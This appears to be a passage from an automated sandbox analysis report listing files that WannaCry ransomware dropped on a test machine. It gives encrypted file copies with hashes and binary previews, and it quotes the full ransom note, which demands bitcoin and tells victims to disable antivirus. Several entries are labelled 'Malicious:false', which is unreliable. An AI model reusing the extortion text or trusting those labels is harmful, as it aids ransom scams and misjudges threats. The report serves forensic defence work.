                                                                                                      SHA-512:5BF4CA75946996D6E821102C98457CE04C30D77DAFE84879E11A4E5DF4F0B4A67309B9483932A00FC0965145681EDBE689CF5E7609A19BD7CAA829D465426880
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....Z.a./..7..S...QXy..K2X......\<...?PYaI.5..................../.......F......&.9.>....{.6.B..]V...K.u.{.A.p.N}?.7u.P.|.L.o....p..J@.x.............b!....\D.p..I. s3..)LThh..z....r[.?..F..0x.."n....@..?.....*,...l../...v.m.aG..F{eo!.....=..<+tDAt............+fxPQ..m,....b.`p..k....a.|...*.<..&..J...^......=K.z=.W.z.m.B.t...P(....q_..$a....*R.....J.....%E`E_.....a,.j^=......$.u.......m<.7T.rZ.AB.....4...J.G.(.R!^...D....[.9M./.`l...:KqF....I.)xyxk|..a....f.......8...r....%%z.l2..1.R..z..D.cxB..G...F.G.?...|..tm..U..(.4....LB~\.X_&*k2.n..*b1...v.|....../..%..MXYs..$.........|H..O......[..-...H...P.L.'..?...;....=...B.U..f..H...qZm.....(........W.o.....L.o..w$............-w`...vu...v.b..sQD.._7.....C.`.%I......=8U_.j...)bx.7..t..paIOb...v.jx.[=..j.C.]1....!_H.E;.............`&:........u........CP .s..kS.........g..c0........E...V.....I..........O.Po..t...u....KG....O.?.n.o.a"M..._._..4....t...vWS.^.T9.-;.<..ra....#....u..~[.3.d:|_}.W.b.L

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849221610509778
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkd1Q8KkqslLAEnuw7MaSRta37JsURumURKkQpyk3lf2ltIUHW8q:bkw8KsHKk7WURuxRKTyylKIUHWN
                                                                                                      MD5:1F8150CC2B238E59B5C3351370346D92
                                                                                                      SHA1:98EB43C1A83DDCC93D8D24BF753D72C91B73505A
                                                                                                      SHA-256:D5BAB72EC54410884912B233A41D7A2894A7DEBF20601D567426065A5FD45741
                                                                                                      SHA-512:5BF4CA75946996D6E821102C98457CE04C30D77DAFE84879E11A4E5DF4F0B4A67309B9483932A00FC0965145681EDBE689CF5E7609A19BD7CAA829D465426880
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....Z.a./..7..S...QXy..K2X......\<...?PYaI.5..................../.......F......&.9.>....{.6.B..]V...K.u.{.A.p.N}?.7u.P.|.L.o....p..J@.x.............b!....\D.p..I. s3..)LThh..z....r[.?..F..0x.."n....@..?.....*,...l../...v.m.aG..F{eo!.....=..<+tDAt............+fxPQ..m,....b.`p..k....a.|...*.<..&..J...^......=K.z=.W.z.m.B.t...P(....q_..$a....*R.....J.....%E`E_.....a,.j^=......$.u.......m<.7T.rZ.AB.....4...J.G.(.R!^...D....[.9M./.`l...:KqF....I.)xyxk|..a....f.......8...r....%%z.l2..1.R..z..D.cxB..G...F.G.?...|..tm..U..(.4....LB~\.X_&*k2.n..*b1...v.|....../..%..MXYs..$.........|H..O......[..-...H...P.L.'..?...;....=...B.U..f..H...qZm.....(........W.o.....L.o..w$............-w`...vu...v.b..sQD.._7.....C.`.%I......=8U_.j...)bx.7..t..paIOb...v.jx.[=..j.C.]1....!_H.E;.............`&:........u........CP .s..kS.........g..c0........E...V.....I..........O.Po..t...u....KG....O.?.n.o.a"M..._._..4....t...vWS.^.T9.-;.<..ra....#....u..~[.3.d:|_}.W.b.L

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.79804760771142
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:IzBiufKTri7kxPQ0P2XOopRznjY+2DJTbh/RWm+YLO:INpKTriQxTP2e+2DdV/D+YK
                                                                                                      MD5:8EE15D01BC5F1738E42EAA6D57DBBDB5
                                                                                                      SHA1:5552703B47254AF84BE780DD0A877D1BF2DD5634
                                                                                                      SHA-256:A889B1DF05E7FA9518607412974A7CD700D462B8ED0D58DF73048C1209F58B22
                                                                                                      SHA-512:9787136096463A7F46FB33EFCA93738E591835BCE754AB463532E56503C289E6C4EAF4B81F974C709C5E4ACD62A7958DC76E8E678C35B0EA899BED2737C98D41
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.tk...~.v..*7a..$,..........a:.9S.J-.."x........... .....-.>....Fq.$*.h@.:..u.9t\e758.....-....6...uu..`}.V%..m....N{=....<.n..c..y..!..h,N..<Z].......%K`'._B.-..!..Y.I....{=.(../.a.#|...o...n....s.....V__).|Ja......s..S.jK..&..|.=._1.......[..G.l.gY..|!.....!..5.k..FQJ.q..<}...o...J.NX..L.T..p..V......A......2..O.`j..9...G.6hTt...My..q3..m..4..v...GV.k\o....o.....6..........{..N.o.ql..}q.......3....|.B....wy..\...L.1yYb....~..\Ah..$>.......!=1...E.>.um.Q....#)..-.LD.=LO...L...B....v8_QT.x...A../"..!<DL.".........L.....SC%.d<_"..l..y#..r....)2+`....V..d..k..6.6i.%z.o.q...0........0..e........HJ...4...8$y.w...s...~..p.D.t./.z$7..x"R.c.!.k;..D]nw../....(=...3.F.;..b..8.p.Y.#. 5.K[..N.0F.'.....6.E.Q-.....j.?DP...O..*F,\...jAU.y.o.....c.R-...HJ.-...t_..k..8u.JzvE.9..F..$.]/...e&.[....bTn.X.R...~.B.....0...)...K.............#-..Y.b.b}3.`e....I.6.....4&.Z.. ..x..4.2.%..g.;...v.KzV...}!.$[..].o.`...a..q .w.....qm....d.V!5w....BR.....P....F.....

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862353558493974
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bku0PmATW9ri5JFJ5CdB1kwDz7+pd15wgVvmF9HO83y+y2HrgGYJe/RmR:bku0PhTt5JFJ5o+1mgBmPH9q4YJem
                                                                                                      MD5:8FE12BA0F32E13F978BAF36624D73551
                                                                                                      SHA1:9784E8227A1488E82CC80DDA07251FB72AA03F68
                                                                                                      SHA-256:7C3F64A2B8816C6F73847E2044589ED1BA38C74FA1A463BAFF0C449F04CD3E04
                                                                                                      SHA-512:C7FC347DE568DC6D3345095E344AFE9287B25A585DCB9EB50C01715F8A4D07D98B7A5BFA29069AE87E90F83037E4B2CD27B77A41FBBC4AD6EC903E94FDAC17D9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........P.wf$V....T.Q..-..'Bo%8..*TH,..f...}...T.o.3...k>.3[.~..U...T4.-V..)......].. A..J......7e6...;.....#....~{.|H...kZ..YA.>=.".>l@va..KJD.......4.........1...0.s....].,..R..A.F.l..$......k.m...&.?M.%..Iy.3mS.....u.m...O.....6.9.\lB.....a..............n..E..Z........?.."(..`..d..j.....gK..4..n...S..#...o..Y'....2.7.#2.#|GX.sJj|.......y..V...........E.!g...2R.x.+.4.MX|7.....i.....'.*8....i.^1...PA........p.%.K.....!...).XA.K."...x..}(..v...i.......db..L..>......r.U8c/-.x/"....61g.^.Z..1b:Am..Z.[e.+).C}iO..0]....ZP..fI._.9.[.....Q%P....{.-..:.1.+...'.._.4P}.g...F.N.n...:....#...../.`:.H...D$.ye....[.....:...I...O}...k.....n.U......Q..f.3#.!N...L.>.7.$Ok.w3.qq..P.5..N.U.5.QZ.f...<.qC..v...`..fU.;...c.9.!AO..[t.{...Tgy.....Y.H.$... ... .......u..L.......lwt.).......\.&........-2.,q.Q..x\Ad T.ce.M.Q.z5...T......k..z.P...z..s..#...35-$o:.f....r/..+..m..l.E..a.^..^.....E.5b ....."t}.,..n."...I.R-}..J`..~.@j~.....E..i*.{56..

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862353558493974
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bku0PmATW9ri5JFJ5CdB1kwDz7+pd15wgVvmF9HO83y+y2HrgGYJe/RmR:bku0PhTt5JFJ5o+1mgBmPH9q4YJem
                                                                                                      MD5:8FE12BA0F32E13F978BAF36624D73551
                                                                                                      SHA1:9784E8227A1488E82CC80DDA07251FB72AA03F68
                                                                                                      SHA-256:7C3F64A2B8816C6F73847E2044589ED1BA38C74FA1A463BAFF0C449F04CD3E04
                                                                                                      SHA-512:C7FC347DE568DC6D3345095E344AFE9287B25A585DCB9EB50C01715F8A4D07D98B7A5BFA29069AE87E90F83037E4B2CD27B77A41FBBC4AD6EC903E94FDAC17D9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........P.wf$V....T.Q..-..'Bo%8..*TH,..f...}...T.o.3...k>.3[.~..U...T4.-V..)......].. A..J......7e6...;.....#....~{.|H...kZ..YA.>=.".>l@va..KJD.......4.........1...0.s....].,..R..A.F.l..$......k.m...&.?M.%..Iy.3mS.....u.m...O.....6.9.\lB.....a..............n..E..Z........?.."(..`..d..j.....gK..4..n...S..#...o..Y'....2.7.#2.#|GX.sJj|.......y..V...........E.!g...2R.x.+.4.MX|7.....i.....'.*8....i.^1...PA........p.%.K.....!...).XA.K."...x..}(..v...i.......db..L..>......r.U8c/-.x/"....61g.^.Z..1b:Am..Z.[e.+).C}iO..0]....ZP..fI._.9.[.....Q%P....{.-..:.1.+...'.._.4P}.g...F.N.n...:....#...../.`:.H...D$.ye....[.....:...I...O}...k.....n.U......Q..f.3#.!N...L.>.7.$Ok.w3.qq..P.5..N.U.5.QZ.f...<.qC..v...`..fU.;...c.9.!AO..[t.{...Tgy.....Y.H.$... ... .......u..L.......lwt.).......\.&........-2.,q.Q..x\Ad T.ce.M.Q.z5...T......k..z.P...z..s..#...35-$o:.f....r/..+..m..l.E..a.^..^.....E.5b ....."t}.,..n."...I.R-}..J`..~.@j~.....E..i*.{56..

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.784452094887201
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:yh70Vq6L5D9XaracLrhPRuqE56mOyw8VygwVjp:yh70l6r3hkqEHwOYVN
                                                                                                      MD5:18C80BCFE622E2F1D27AE6F7A463EDFD
                                                                                                      SHA1:6FAD06DFFFD78579B2D2B94A8C7E461A10BEA83C
                                                                                                      SHA-256:E20E0D1A3F4E66046D2FFCA769834255E993840E9708FDF203836A065DE127B9
                                                                                                      SHA-512:2FADB1DC4471638358DEA7EDC80EAACBAADE1380B9D75E664BDF587C2551DCC5A4C5087E1C80E6CD90CC3D83F839BC95C281211361510530EE5745462B0627B9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...#.].i.f......@......a...Z....N.W...|...e...).....H?......0T....2....a...? 3.(;1A.h.?r.......sLH.$...b!.h....AX$.....!..%...yO_....Hed....H....T........."..(.....pa......,..p$....B..."n.z..{Og.L.R$.f:Ev3..E....=0.........a..\#..8..I...6p.Tv..I%b..B......2T..z.1..A.6y.v.o.oO..6....}.f...|...1.....&/..)..h....|..7V.T(.RB.nv..t;....:......Z............#]......e...nQjVo.\Q}.'....3..o6.....iE.V..4...........a..JY.P<B^...E.....)Q*../g.G.o_......2l..#r.w..5k9.&.gqk.'..39A..:..X......I...(M....H.ok..A...4.....D=?...$..^.".=.<..4.5&A..%U...s5H.T.._.t_L6..q<FJ............K.V~.i<.`.....n...1f.$g...).......[B^.u.q(.......pK./....k.h.......+...eu..^.'.o...B..!..E.w...=.....zZt.i]g.....L.X..{.k.0.....84... ...h...n3D..D.....@.....u...<F.6...0...<<....!I.GyQ.,..8...&d.LY.8...e..^..v.....uY......-..........I.JN.U...v.2.@.'...3...!|.*...Q.;.L../..h"...)..F.{..1.\....V.[.j/.....FsEO..FbM.G/....5.<.2..tM.2..ia..K.[B.. +z....`.k %...=....U.$k....

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8502962931776095
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkc3jchnAITv1JOE2ew50zABvsi6EHe/DJZgzx0r5ckOtuLPcm:bkc3Gn1v1ITew5tBuh7qSOI
                                                                                                      MD5:27DB8C774281B5BFA59764347439A5B0
                                                                                                      SHA1:94971C4B3703B894BCD4A41E9F0CE13641C9BA0C
                                                                                                      SHA-256:06D5CAB694B93262CA8726562D7F71DE04F0B8EDE03B9332B04CAC2A7DCA5F0F
                                                                                                      SHA-512:E4629BF283C9DC7321526CB12074BE5BC64EDDA40EBAA75A49EA8CA546BDD87D60DB63866F5115CB8C7F507B39BE1D9FA71BB1E4CF0A695B4EA36FCE8E84FF62
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.... .k7,'Rs...!........Up.V5..fW...T..=..||[g..G._..z.....D......o...iZw..G.N..,....*.J...S....:........&......\.k...U..^.8..]^..'5..&d..9.3..#....8..c.....|.|..|I'./.Yu..H/$.9..B....x.W.....B...@...{ujxn`....I.UR.....n.3.1<.....u..f....4..2.~.n...............5..(....C..p.f..Q\.t..LWOxT.......{S......+..%.sk.|..;.a.@V..E.i.&.....Tw.`Y.#..zn.q..Q(.....mc.:l;j=....^4............4k.).[~.,............p...a...`...%W7...&.c?.6.7.:~..[.vP..-R....=h|..~.S./....._.X..o1........&y.Ag....3.q...r?.>.c.7>.........%..P]...Z.x8.k.:.:tU....zT.jz..C!y.=..g..#..KN.[x&.~....3.y...........-..M...R..C..]......^...f.......u.[.=...~(.iG:.2..*.L...}".$q..I.fz...8.....p5.=.`.....U.07f.<.*..ug.W(..+H3z..kZ#\.Bo....g.G.}...d\..n..F.Q._Lr...$!$*j....F..@.h.....*../`.]=`.o$2}.[.....|_....e[.......*.9.8.*..-=..=.|.....$..RE.w#C.W.Z.}>.".*.P..x.....RMN.r1..R.b=.......;...5!.I.@...NF.B....h?..J..4.>....{u)..t..........)=...^.9.G..mfz.!.}...Po3o0..l..[.r.+.A. .Z..CY

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8502962931776095
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkc3jchnAITv1JOE2ew50zABvsi6EHe/DJZgzx0r5ckOtuLPcm:bkc3Gn1v1ITew5tBuh7qSOI
                                                                                                      MD5:27DB8C774281B5BFA59764347439A5B0
                                                                                                      SHA1:94971C4B3703B894BCD4A41E9F0CE13641C9BA0C
                                                                                                      SHA-256:06D5CAB694B93262CA8726562D7F71DE04F0B8EDE03B9332B04CAC2A7DCA5F0F
                                                                                                      SHA-512:E4629BF283C9DC7321526CB12074BE5BC64EDDA40EBAA75A49EA8CA546BDD87D60DB63866F5115CB8C7F507B39BE1D9FA71BB1E4CF0A695B4EA36FCE8E84FF62
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.... .k7,'Rs...!........Up.V5..fW...T..=..||[g..G._..z.....D......o...iZw..G.N..,....*.J...S....:........&......\.k...U..^.8..]^..'5..&d..9.3..#....8..c.....|.|..|I'./.Yu..H/$.9..B....x.W.....B...@...{ujxn`....I.UR.....n.3.1<.....u..f....4..2.~.n...............5..(....C..p.f..Q\.t..LWOxT.......{S......+..%.sk.|..;.a.@V..E.i.&.....Tw.`Y.#..zn.q..Q(.....mc.:l;j=....^4............4k.).[~.,............p...a...`...%W7...&.c?.6.7.:~..[.vP..-R....=h|..~.S./....._.X..o1........&y.Ag....3.q...r?.>.c.7>.........%..P]...Z.x8.k.:.:tU....zT.jz..C!y.=..g..#..KN.[x&.~....3.y...........-..M...R..C..]......^...f.......u.[.=...~(.iG:.2..*.L...}".$q..I.fz...8.....p5.=.`.....U.07f.<.*..ug.W(..+H3z..kZ#\.Bo....g.G.}...d\..n..F.Q._Lr...$!$*j....F..@.h.....*../`.]=`.o$2}.[.....|_....e[.......*.9.8.*..-=..=.|.....$..RE.w#C.W.Z.}>.".*.P..x.....RMN.r1..R.b=.......;...5!.I.@...NF.B....h?..J..4.>....{u)..t..........)=...^.9.G..mfz.!.}...Po3o0..l..[.r.+.A. .Z..CY

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\GIGIYTFFYT.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8106645209943
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:aE84MJ7d71+0n1U/TdAlJlnQB2HaBDG+VkTAa+OL1VGz5:aEwD71+0n+TdAlPQB1BFycLOLSz5
                                                                                                      MD5:97B537C22CF67BC96835882DCFAED0E0
                                                                                                      SHA1:BBD3559EB0FCC126E6F0F3DD5D401F78E77D0E2C
                                                                                                      SHA-256:8109B0A02E791569B3F6CD9C996369EFFEBA1889A9C5829000F94853B549B7D0
                                                                                                      SHA-512:2F514D5874A0F020C15ED9B3F715A632ED9AE3F7B8D1EBDB3D8B5F4845089F2230BDD1B2447A175C6C8F379D0B0EB4A0D065F6450CFFB6CF446BF36084B4A8AA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:C.....d2..][Um..."o...........DR.b...?..#..8...s=L.....?.:.E.%e-...q.d..z..vEa4.H...(...y.!......J.].f..KtT..0.w0.HOMc"N(}.....m....X.b.....L..J7M..64.>.>u...i...r.....e.u.....*.Fm....p}.v.F......6{..a.9./YD.if.J.7;....gL...Z../-W.../F..Y...@&....[..3Z.b1CO..U...x.'rk.M..k.T%9...{..........[.i..dlS.2."6R.mL;.W..E..b....[.XC....cT....g.].....h1....:.9..k./a.5.<..n..).7..J...E.,....H:.......I.H..C....}KL..[...&..\.`h.E.A.M..l.....k..|.4...aP...x.6...R.m..Sp.....%..2.......mZ.:w......3.*...........O..........]..nT......;.. L.a...@.3<..K....[...%.w.].....U..".S.....M....VJ..f.Q.7W...`j...:..k.*s...........8....]B.EU.APz.h.....=.!.x.-%.wu..-.@.o.O.o...1.6...kw.(..0..%/.....T.....e.....l#U...$Ll.c....f.......E......T(.t6.3...g.3.B y.^.).ljg%..<..Xz....u.a..2.n?/p.......Bc.c{......M..C...T......?@/.^....{..[.?m.%...j@G.e...T.e...wP.....l....g.w.3.|}[.......+l .0.6@qw...w.C..*#....*,....*]k.\...)U.W....v8IA.....^.....uw....*.0..z..H4gJ.pC..r...s.~h2l

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\GIGIYTFFYT.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.841713823689763
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvt7yFaqHGHLM+li1IWo3b16auG0nCqOzREVA/V9jJw2545N2hxZ/iF:bkpyFTHGrJli1s5YG0dgEVA/V9jJU2hw
                                                                                                      MD5:F4B3F9E8CC0E33E8A8E0452F861494DF
                                                                                                      SHA1:76450F323BD231C6C7B0C33A3A944378E1EC7546
                                                                                                      SHA-256:282B6905EE8F353E8A3F86AB348D8542ED66E599BDC3E9ED942DD7AFC0C71724
                                                                                                      SHA-512:E5F932595ABBB6EB55DF54C4440A3CC985EC64742FC066182C8250F34A7DD1A809675D5E5E3AFCF54AAF9CC8421686CA64A381A2CA87C7351029675D78820418
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....$.J)E~.g......}....p..m8..........vG...R!1....l....u......X.z...3.1.cJV..:.}.][l..L..q..k6.....".F^....\...r...n..Y.......... !.....m....|u.(B...3.V..bt...\.*....{...:T..e..b.|HV..U..*.R...?...?U......>+.....QJ}..!....G....p....]6......r..............b..." w.=n..b3tE......b...5k.1yJ...I..e..F..c.yF*..d..N..a...tW....d......M.{kU20..+.8...1....6.".7|r.y.O;...l.&".{M%.x..;. ....+...}_.&"d..J.n.`..<m.A6..Q!a..*...j...]O.t..".e.D........$Z..YiGFQ...v.5......3....K5....;...X..C...Q....k..../.....k,}......!k;.:. ..p....&o.;.lbWp]...d.BrB2...a.....,..,.4X...B..+.Ry....]..50!u..EB..P7..~k.pmR...0E+X.?....YL....KP^.dz`0B.D2I....].......T'...L.u..%..L...h>=.J.|........0.AaHW.b........D.(i...%..y.8..zo9En..AC.$%h.oW._4.S.R..f.....\..........Q*.......kP..ebMqZl.;h........T.LR.{..q$...:./l8...|.B."+...?.on\.....4>.1.d..\....{..f...F...ymvS.v3L.v.....ktGn...*..A..].{}SM....".W.D.v.3.Q,.5.3'y....u.|....|..2.g..._....uu...&HD.1....}.1.X....2<..8

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\GIGIYTFFYT.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.841713823689763
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvt7yFaqHGHLM+li1IWo3b16auG0nCqOzREVA/V9jJw2545N2hxZ/iF:bkpyFTHGrJli1s5YG0dgEVA/V9jJU2hw
                                                                                                      MD5:F4B3F9E8CC0E33E8A8E0452F861494DF
                                                                                                      SHA1:76450F323BD231C6C7B0C33A3A944378E1EC7546
                                                                                                      SHA-256:282B6905EE8F353E8A3F86AB348D8542ED66E599BDC3E9ED942DD7AFC0C71724
                                                                                                      SHA-512:E5F932595ABBB6EB55DF54C4440A3CC985EC64742FC066182C8250F34A7DD1A809675D5E5E3AFCF54AAF9CC8421686CA64A381A2CA87C7351029675D78820418
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....$.J)E~.g......}....p..m8..........vG...R!1....l....u......X.z...3.1.cJV..:.}.][l..L..q..k6.....".F^....\...r...n..Y.......... !.....m....|u.(B...3.V..bt...\.*....{...:T..e..b.|HV..U..*.R...?...?U......>+.....QJ}..!....G....p....]6......r..............b..." w.=n..b3tE......b...5k.1yJ...I..e..F..c.yF*..d..N..a...tW....d......M.{kU20..+.8...1....6.".7|r.y.O;...l.&".{M%.x..;. ....+...}_.&"d..J.n.`..<m.A6..Q!a..*...j...]O.t..".e.D........$Z..YiGFQ...v.5......3....K5....;...X..C...Q....k..../.....k,}......!k;.:. ..p....&o.;.lbWp]...d.BrB2...a.....,..,.4X...B..+.Ry....]..50!u..EB..P7..~k.pmR...0E+X.?....YL....KP^.dz`0B.D2I....].......T'...L.u..%..L...h>=.J.|........0.AaHW.b........D.(i...%..y.8..zo9En..AC.$%h.oW._4.S.R..f.....\..........Q*.......kP..ebMqZl.;h........T.LR.{..q$...:./l8...|.B."+...?.on\.....4>.1.d..\....{..f...F...ymvS.v3L.v.....ktGn...*..A..].{}SM....".W.D.v.3.Q,.5.3'y....u.|....|..2.g..._....uu...&HD.1....}.1.X....2<..8

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\JDDHMPCDUJ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.805000187149414
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:dV4ixfLU4k5buOXStT9QW16BWkGM2VuPQJxRSh2aA54L:dVffL4IeStT7tkGM2VuPQJx8AGL
                                                                                                      MD5:6A6B5E69079C4773B9319CABD0A3DF23
                                                                                                      SHA1:5FD4806F413D95613C9B61EB7975EC9FE6B4E86D
                                                                                                      SHA-256:6E7422F238DE0B975938F5F493CE6417744630122F3CE1424058EF9231A9CC63
                                                                                                      SHA-512:5713AF3DD6B6E1129633B53C32AEB191ED2E07D49F913DF94F43AA9AB331DEAF4AC0A76235DAB6AF4D181568F82B85F0891B489EEC5A45497809C2BB16A724EB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
